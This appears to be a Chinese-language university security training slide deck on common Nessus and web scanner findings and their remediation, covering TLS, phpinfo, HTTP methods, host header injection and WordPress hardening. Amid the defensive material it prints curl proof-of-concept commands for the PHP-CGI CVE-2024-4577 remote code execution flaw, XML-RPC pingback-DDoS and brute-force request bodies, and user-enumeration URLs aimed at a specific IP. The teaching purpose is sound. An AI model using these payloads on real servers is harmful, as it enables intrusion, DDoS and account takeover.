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01系統弱點掃描
常見漏洞



系統弱點掃描工具
Tenable Nessus

• 掃描多種作業系統(OS)、應用程式和網路設備，檢測其中已知的漏洞。

這些漏洞可能來自於未更新版本的軟體、錯誤的設定等弱點。

 掃描開放設備並識別所有可見的設備和服務，生成一個清單列出設備、作業系統、開放

Port和服務。

 使用漏洞資料庫與上述的設備和服務進行漏洞的識別，如: CVE(Common 

Vulnerabilities and Exposures)清單。

 生成弱點掃描報告。



A02:2021 – 加密機制失效
憑證、加密連線與加密機制



系統弱點掃描常見弱點
憑證與加密連線

• 104743 - TLS Version 1.0 Protocol Detection

• 157288 - TLS Version 1.1 Protocol Deprecated

• 15901 - SSL Certificate Expiry

• 20007 - SSL Version 2 and 3 Protocol Detection

• 35291 - SSL Certificate Signed Using Weak Hashing Algorithm

• 42873 - SSL Medium Strength Cipher Suites Supported (SWEET32)

• 51192 - SSL Certificate Cannot Be Trusted

• 57582 - SSL Self-Signed Certificate

• 65821 - SSL RC4 Cipher Suites Supported (Bar Mitzvah)



系統弱點掃描常見弱點
憑證與加密連線(驗證方法)

• SSLLabs

• https://www.ssllabs.com/ssltest/

• Nmap

• nmap --script ssl-enum-ciphers -p443 <ip/domain>



系統弱點掃描常見弱點
加密機制(包含後端之網站)

• 使用較強的加密標準

 採用最新、經過廣泛測試和認證的加密演算法(如：AES、RSA和SHA-256)，並確保加
密庫的更新和安全。

• 正確的密鑰管理

 實施完整的密鑰管理策略，確保密鑰的安全生成、儲存、分發和銷毀，避免硬編碼密
鑰或使用預設密鑰。

• 加密敏感數據

 在傳輸和存儲過程中加密所有敏感數據，並確保使用安全的傳輸協議(如:TLS 1.2以上)，
SSL全系列版本均應停用。

• 定期審核和測試加密機制

 定期確認加密設定情況，進行滲透測試和code review，以確保加密機制的有效性。



• 停用較弱的密碼加密方式

 明碼

 MD5雜湊演算法

 SHA1雜湊演算法

 密碼先加鹽(Salt)再進行雜湊

系統弱點掃描常見弱點(延伸案例)
使用不安全的儲存方式



A05:2021 – 安全設定缺陷
主機、應用程式和服務的安全配置



系統弱點掃描常見弱點
對外開放非必要的Port、服務與權限

• Port

 FTP(預設21)、SMB(預設445)、RDP(預設3389)與SSH(預設22)

• 錯誤訊息與伺服器資訊

 phpinfo

• 權限未控管

 帳號密碼洩漏在公開網路上

 使用預設帳號密碼

 未設定帳號密碼



系統弱點掃描常見弱點(案例1)
FTP密碼暴力攻擊(Brute Force Attack)



系統弱點掃描常見弱點(案例2)
phpinfo



PHP info.php

• 版本資訊洩漏

 PHP(PHP Version)

 作業系統(Build System)

 Apache(Apache Version)

 OpenSSL(SERVER_SOFTWARE)

• 網站路徑(DOCUMENT_ROOT)

• 檔案絕對路徑(SCRIPT_FILENAME)

• 檔案上傳的權限(file_uploads)

• 停用php函數的使用(disable_functions)

• IP與主機名稱(SERVER_ADDR、SERVER_NAME)

資訊洩漏與利用



PHP info
修補方法-disable_functions

•設定限制IP或目錄存取權限

•停用phpinfo()函數

 備份並修改php.ini

 disable_functions=phpinfo

 重啟網站伺服器(Apache/IIS/NGINX)



參考網址：
https://download.nics.nat.gov.tw/UploadFile/attachfilegcb/TWGCB-04-
007_Apache%20HTTP%20Server%202.4%E6%94%BF%E5%BA%9C%E7%B5%84%E6%85%8B%E5%
9F%BA%E6%BA%96%E8%AA%AA%E6%98%8E%E6%96%87%E4%BB%B6v1.2_1111226.pdf

系統弱點掃描常見弱點
啟用 TRACE 與 TRACK HTTP 方法
HTTP TRACE / TRACK Methods Allowed

• 跨站點追蹤 (Cross-Site Tracing, XST) 攻擊

XST 攻擊利用 TRACE 或 TRACK 方法(Methond)來取得HTTP 請求(Request)中的敏感資

訊，如 :Session Cookie，攻擊者可以通過 XST 攻擊來繞過某些安全機制(如:瀏覽器的

HTTPOnly Cookie 設定)，並竊取用戶的敏感資料。

• 資訊洩漏

cookies 或表頭中的認證資料

• 資通安全研究院-政府組態基準-Apache Server 2.4



系統弱點掃描常見弱點
啟用 TRACE 與 TRACK HTTP 檢測方法

• telnet

• telnet 網站IP 80/443 port

• 之後輸入：

• TRACE / HTTP/1.1

• Host: 網站Domain

• 再連續按兩下 Enter

• 有此漏洞>200

• 無此漏洞>405 有此漏洞無此漏洞

參考資料：
https://www.cc.ntu.edu.tw/chinese/epaper/0023/20121220_2308.html



有此漏洞

系統弱點掃描常見弱點
啟用 TRACE 與 TRACK HTTP 檢測方法-2

• Curl

• Curl –I –X TRACE URL

• 有此漏洞>200

• 無此漏洞>405

無此漏洞



系統弱點掃描常見弱點
停用 TRACE 與 TRACK HTTP

• Nginx

• 修改Nginx設定檔。

• 檔案通常放置於/etc/nginx/sites-

available/之中。

• 新增設定

location / {
limit_except GET HEAD POST 

{ deny all; }
}

• 使用nginx -t確認設定正確。

• 重啟Nginx或重新開機。

• Apache

• 修改Apache設定檔。

• 設定檔通常放置於

/etc/apache2/sites-available之中。

• 新增設定TraceEnable Off。

• 使用apachectl configtest確保設定

正確。

• 重啟Apache服務或重新開機。

http://cveinfo.cc.ntu.edu.tw/books/html/page/11213-http-trace-track-methods-allowed



各項服務、系統版本過舊



系統弱點掃描常見弱點
各項服務、系統版本過舊

• 44077 - OpenSSH < 4.5 Multiple Vulnerabilities

• 55814 - Adobe Media Server Unsupported Version Detection

• 58987 - PHP Unsupported Version Detection

• 42263 - Unencrypted Telnet Server

• 171342 - Apache Tomcat SEoL (8.0.x)

• 66174 - VNC Server Unauthenticated Access: Screenshot

• 18405 - Remote Desktop Protocol Server Man-in-the-Middle Weakness

• 57608 - SMB Signing not required



系統弱點掃描常見弱點
檢視各項服務與系統版本及開放資訊的必要

• 停用已EoL(EoS)的服務或作業系統。

• 確認服務或作業系統已更新至最新穩定版本。

• 修補已知弱點，若該漏洞尚未提供更新，請採取對應的緩解措施。

• 設定僅有受信任的IP可使用權限較大的服務(如:SSH、RDP)。

• 避免過多的資訊洩漏(如:版本號碼)。

• 修補弱點時若要變更相關設定檔案(如:httpd.conf、php.ini)，建議先進行備

份，並記錄變更的內容、原因及實施時間，變更後重啟相關服務並測試是否

設定正確。



系統弱點掃描常見弱點
修補弱點若要變更相關設定檔案

備份

紀錄

變更重啟

測試



02網站弱點掃描
常見漏洞



網站弱點掃描工具
HCL AppScan/Acunetix

• 執行全面掃描，識別潛在的安全漏洞和問題。

 訪問各個頁面並建置完整的應用程式地圖(爬蟲)。

 使用測試資料庫與上述的資訊進行漏洞的測試，如: Cross Site 

Script(XSS)、SQL Injection。

 生成弱點掃描報告。

圖片來源：
https://planetcybersec.com/102022-sponsors/



主機標頭注入



網站弱點掃描常見弱點
主機標頭注入-Host Header Injection(Attack)

• 原因：使用帶有HTTP Host的函數如：$_SERVER[‘HTTP_HOST’]可能遭

注入惡意網域

• 可能造成影響與情境

 網路快取中毒

 濫用密碼重置功能寄送指向惡意網域之電子郵件

• 修補位置

 後端

 網站伺服器

參考資料：
https://blog.darkthread.net/blog/host-header-vulnerability/



網站弱點掃描常見弱點
主機標頭注入-HTTP Header

• Host

• 發出請求的伺服器域名，若有使用Virtual Host方式架設網站，可用IP、

Port、網址讓網站伺服器導向不同的網站，若沒有則無用處。

• Referer

• 造訪目前網站的上一個網站

• X-Forwarded-For

• 可透過此參數追蹤請求的傳輸路徑，從哪裡來經過了哪些代理伺服器

(Proxy)跟負載平衡(Load Balance)

參考資料：
https://blog.darkthread.net/blog/host-header-vulnerability/



網站弱點掃描常見弱點
主機標頭注入-濫用密碼重置功能



網站弱點掃描常見弱點
主機標頭注入-修補方法

• 撰寫網頁程式碼時應使用絕對路徑，或變更使用函數

$_SERVER['SERVER_NAME']

• 啟用Apache mod_rewrite模組並驗證Host

參考資料：
https://blog.darkthread.net/blog/host-header-vulnerability/



網站弱點掃描常見弱點
主機標頭注入-修補方法

• 啟用Apache mod_rewrite模組並驗證Host

sudo a2enmod rewrite

sudo systemctl restart apache2

• 修改Apache設定檔(/etc/apache2/sites-available/)

RewriteEngine On

RewriteCond %{HTTP_HOST} !^192\.168\.87\.128:8080$ [NC]

RewriteRule ^ - [F]

• 重啟Apache服務

sudo systemctl restart apache2



目錄清單



網站弱點掃描常見弱點
目錄清單

• 原因：網站設定允許目錄有清單瀏覽之功能。

• 可能造成影響與情境

 讀取目錄中的任易檔案

• 修補位置

 網站伺服器



網站弱點掃描常見弱點
目錄清單-修補方法

• 修改/etc/httpd/conf/httpd.conf或httpd-vhosts.conf

<Directory "/var/www/">

Options Indexes FollowSymLinks MultiViews

AllowOverride None

Order allow,deny

Allow from all

</Directory>

• 重啟Apache



已啟用不安全的 "OPTIONS" HTTP 方法



網站弱點掃描常見弱點
已啟用不安全的 "OPTIONS" HTTP 方法

• 原因：啟用不安全的HTTP Method，可能被未經授權的攻擊者探測伺服器

啟用的HTTP Method並進行攻擊。

• 被利用的可能性：高

• 修補位置：

• 網站伺服器



網站弱點掃描常見弱點
已啟用不安全的 "OPTIONS" HTTP 方法



網站弱點掃描常見弱點
已啟用不安全的 "OPTIONS" HTTP 方法

• GET：向指定的資源發出「顯示」請求。

• POST：向指定資源提交資料，並且Body中可帶傳輸的資料。

• PUT：上傳或取代指定的資源。

• DELETE：刪除指定的資源。

• HEAD：與GET類似，但只會取得標頭(Header)與HTTP狀態(Status)。

• CONNECT：通常用於Proxy。

• OPTIONS：回傳這個伺服器支援的所有HTTP方法(Method)。

• TRACE：回傳收到的請求內容。

參考資料：
https://ithelp.ithome.com.tw/articles/10250980



網站弱點掃描常見弱點
已啟用不安全的 "OPTIONS" HTTP 方法



網站弱點掃描常見弱點
已啟用不安全的 “OPTIONS” HTTP 方法-修補方法

• 可使用HTTP Method在伺服器建立、更新、移動與刪除伺服器資源的框架。

• WebDAV在IIS 7.0以後版本以及在Apache 2.2以後的版本均預設為關閉。

• 擴充Request Method所允許的標準HTTP Verbs和HTTP Header，擴充包含：

• COPY：將資源複製到指定的URI

• LOCK：鎖定一個資源

• MKCOL：建立集合(即目錄)

• MOVE：將資源移動到指定的URI

• PROPFIND：以XML格式檢索資源中儲存的屬性，它也被允許檢索系統的集合結構(也

叫目錄階層)<類似ls>

• PROPPATCH：更改和刪除資源的多個屬性

• UNLOCK：解除資源的鎖定
參考資料：
https://zh.wikipedia.org/wiki/WebDAV



網站弱點掃描常見弱點
已啟用不安全的 “OPTIONS” HTTP 方法-修補方法

• 停用WebDAV

• 備份Apache設定檔(httpd.conf)

• 修改Apache設定檔(httpd.conf):

• #LoadModule dav_module modules/mod_dav.so

• #LoadModule dav_fs_module modules/mod_dav_fs.so

• 重啟Apache服務

• 停用不安全的HTTP Method

參考資料：
https://ithelp.ithome.com.tw/articles/10250980



網站弱點掃描常見弱點
OPTIONS延伸案例-WordPress REST API



查詢中的 Password 參數



網站弱點掃描常見弱點
查詢中的 Password 參數

• 原因：查詢字串(參數)包含機敏資訊且未加密或使用安全協定傳輸，可能查

詢到的資訊如:使用者名稱、密碼。

• 被利用的可能性：高

• 修補位置：

• 網站伺服器

• 參數

• author、reauth、keyword、SingleKeyword…



網站弱點掃描常見弱點
查詢中的 Password 參數(wordpress)

reauth
author



WordPress常見弱點



03資訊洩漏
A05:2021- Security Misconfiguration 安全設定缺陷



資訊洩漏造成的影響

• 資訊探勘

ping / nmap

Shodan / Censys / Fofa / Zoomeye

• 攻擊

BurpSuite / curl

PoC

WebShell



PHP嚴重遠端程式碼(RCE)執行漏洞
特定語系Windows x PHP CVE-2024-4577

參考網址：
https://devco.re/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-
injection-vulnerability/

https://devco.re/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-injection-vulnerability/


漏洞利用
Github PoC



漏洞利用
curl



漏洞利用
curl

• curl -k -v -d "<?php system('whoami'); die(); ?>" http://140.112.237.81/php-

cgi/php-cgi.exe?%add+allow_url_include%3Don+-

d+auto_prepend_file%3Dphp%3A//input+-d+cgi.force_redirect%3D0

• curl -k -v -d "<?php system('whoami'); die(); ?>" "http://140.112.237.81/php-

cgi/php-cgi.exe?d allow_url_include=on -d auto_prepend_file=php://input -d 

cgi.force_redirect=0"



PHP嚴重遠端程式碼(RCE)執行漏洞
修補方法

參考網址：
https://devco.re/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-
injection-vulnerability/

• 執行快照或備份後，立即更新至最新穩定版本。

• 緩解措施：

• 透過Rewrite規則阻擋攻擊。

• 不使用PHP CGI架構，改使用較安全的Mod-PHP、FastCGI或PHP-FPM等架構。

• XAMPP未更新PHP至新版時，請先註解php-cgi。

https://devco.re/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-injection-vulnerability/


PHP嚴重遠端程式碼(RCE)執行漏洞
漏洞影響範圍

參考網址：
https://devco.re/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-
injection-vulnerability/

• 安裝於Windows作業系統(繁體中文、簡體中文與日文語系)上所有的PHP版本皆受此

漏洞影響，詳細版本請參考以下說明。

 PHP 8.3所有於8.3.8以前的版本

 PHP 8.2所有於8.2.20以前的版本

 PHP 8.1所有於8.1.29以前的版本

• 由於PHP 8.0分支版本、PHP 7以及PHP 5官方已不再提供更新，請網站管理者盡速評

估升級版本或採取修補建議。

• 以及所有版本的XAMPP。

https://devco.re/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-injection-vulnerability/


如何隱藏版本號碼



架構資訊與版本



隱藏架構資訊與版本

• 路徑

 C:\xampp\apache\conf\httpd.conf 或
C:\xampp\apache\conf\extra\httpd-ssl.conf

• 追加或不要註解的片段

 ServerTokens Prod

ServerSignature Off

• 重啟Apache服務

Apache



隱藏架構資訊與版本

• 路徑

 C:\xampp\php\php.ini

• 設定片段(原先為On)

 expose_php=Off

• 重啟Apache服務

PHP



04網站管理介面
A05:2021- Security Misconfiguration 安全設定缺陷



網站管理介面
WordPress



網站管理介面 限制存取

• 外掛插件

• 使用 .htaccess 檔案進行限制存取

<Files wp-login.php>

order deny,allow

Deny from all

Allow from 127.0.0.1

</Files>



05XML-RPC API
A10:2021- Server-Side Request Forgery(SSRF) 伺服端請求偽造



XML-RPC

圖片出處：
https://www.siteground.com/blog/xmlrpc/

01
原先功能為有文章被分享時通知網站管理

者，現被攻擊者利用來向指定對象進行

DDoS攻擊。

DDoS攻擊<pingback>

02
無須使用驗證碼，且無嘗試次數的限制，

被攻擊者利用繞過登入頁面限制，以暴力

破解的方式猜測密碼與帳號。

暴力密碼破解<bruteforce>

• WordPress官方提
供的遠端程式API。

• xmlrpc.php。

• 支援呼叫各式各樣
介接WordPress的
Method。

• 以HTTP協定傳輸。



查看允許的方法-listMethods

<methodCall>
<methodName>system.listMethods</methodName>

<params>
</params>

</methodCall>

XML-RPC



XML-RPC 攻擊其一
對指定對象執行DDoS攻擊

<methodCall>
<methodName>pingback.ping</methodName>

<params>
<param>
<value>
<string>指定對象</string>
</value>
</param>
<param>
<value>
<string>網站文章</string>
</value>
</param>
</params>

</methodCall>



XML-RPC 攻擊其二
暴力破解網站帳號密碼

<methodCall>
<methodName>wp.getUsersBlogs</methodName>

<params>
<param>
<value>帳號</value>
</param>
<param>
<value>密碼</value>
</param>
</params>

</methodCall>



XML-RPC 修補方法其一

對網站執行備份或快照01

網站伺服器(Apache)限制頁面(xmlrpc.php)存取

變更WordPress根目錄

.htaccess檔案
02

變更Apache設定

httpd.conf檔案
02

<Files xmlrpc.php>

order deny,allow

deny from all

allow from 192.168.1.1

</Files>

Apache
版本
<2.4

Apache
版本

>=2.4

<Files ~ "xmlrpc\.php">        

<RequireAll>

Require ip 192.168.1.1

</RequireAll>

</Files>

03 重啟Apache服務

測試頁面是否存取失效Last



XML-RPC 修補方法其二
WordPress wp-config限制頁面(xmlrpc.php)存取

<?php

if(strpos($_SERVER['REQUEST_URI'], 'xmlrpc.php') !== false)
{ 

$protocol = $_SERVER['SERVER_PROTOCOL'] ?? ''; 
if(!in_array($protocol, ['HTTP/1.1', 'HTTP/2', 'HTTP/2.0', 'HTTP/3'], 
true))

{ 
$protocol = 'HTTP/1.0';

} 
header("$protocol 403 Forbidden", true, 403); 
die; 

}

?>



06建立主動防禦機制



使用Web Application Firewall(WAF)

• 使用Wordfence Security外掛插件

設定網站防火牆

網站漏洞掃描

監控網站流量

建立主動
防禦機制

建立主動防禦機制

備份或快照

• 定期執行網站完整備份或快照

• 建議採取異地離線備份

權限控管

• 較為敏感的資訊或頁面，建議僅允許部分IP可存取(如:

管理介面、版本資訊)即建立適當的存取控制機制

• 明確控管所有帳號的權限，並停用已無使用的帳號

日常維運

• 執行網站/系統弱點掃描，並修補已知漏洞

• 確認並更新軟體、硬體與韌體至最新穩定版本

• 不安裝與使用來路不明的插件外掛或軟體

• 定期更新管理者密碼，建議啟用雙重身分驗證機制



建立主動防禦機制(Wordfence Security)



建立主動防禦機制(Wordfence Security)

 掃描WordPress目錄內的檔案內容是否包含後門程式、木馬病毒與可疑程式碼

阻擋SQL Injection、Cross Site Scripting..等網站攻擊

阻擋暴力密碼破解攻擊

啟用雙重身分驗證機制(Two-Factor Authentication)

寄信通知近期有哪些外掛跟插件有漏洞

封鎖登入錯誤的IP



建立主動防禦機制(Wordfence Security)
掃描檔案內容是否包含後門程式、木馬病毒與可疑程式碼



建立主動防禦機制(Wordfence Security)
阻擋暴力密碼破解攻擊



建立主動防禦機制(Wordfence Security)
啟用雙重身分驗證機制(Two-Factor Authentication)



建立主動防禦機制(Wordfence Security)



建立主動防禦機制(Wordfence Security)
封鎖IP/Coutnty/部分Pattern



建立主動防禦機制(權限控管)

01
WordPress迅速查詢作者文章之功能，可能被利用來猜測管理者或使

用者的帳號。

http://wordpress/?author=1

能夠探測到使用者帳號的頁面應限制存取

02
WordPress的Rest API，可能被利用來猜測管理者或使用者的帳號。

http://wordpress/wp-json/wp/v2/users

03

WordPress的oEmbed API 公開提供的貼文資料

http://wordpress/wp-json/oembed/1.0/embed?
url=http://wordpress/hello-world/



http://140.112.237.81/wordpress/?author=1

http://140.112.237.81/wordpress/?author=2

http://140.112.237.81/wordpress/wp-json/wp/v2/users

建立主動防禦機制(權限控管)
能夠探測到使用者帳號的頁面應限制存取



建立主動防禦機制(權限控管)

01
WordPress官方提供的遠端程式API，可能被駭客利用進行DDoS攻擊

或是暴力密碼破解。

http://wordpress/xmlrpc.php

頁面應限制存取

02
WordPress的管理介面

http://wordpress/wp-login.php



建立主動防禦機制(權限控管)
版本號碼與敏感資訊

• php.ini

 diable_fuctions(phpinfo與可執行命令exec等)

 display_errors = off(盡量不要在正式上線的主機直接顯示錯誤在頁面
上，以避免暴露系統資訊)



課程測驗

https://forms.gle/98FzSTtbCstnqvaB9

臺灣大學弱點修正建議資料庫(僅限校內IP存取)

http://cveinfo.cc.ntu.edu.tw/


感謝您的聆聽!

報告者：陳思蘊、游子興
日期：2024-09-10


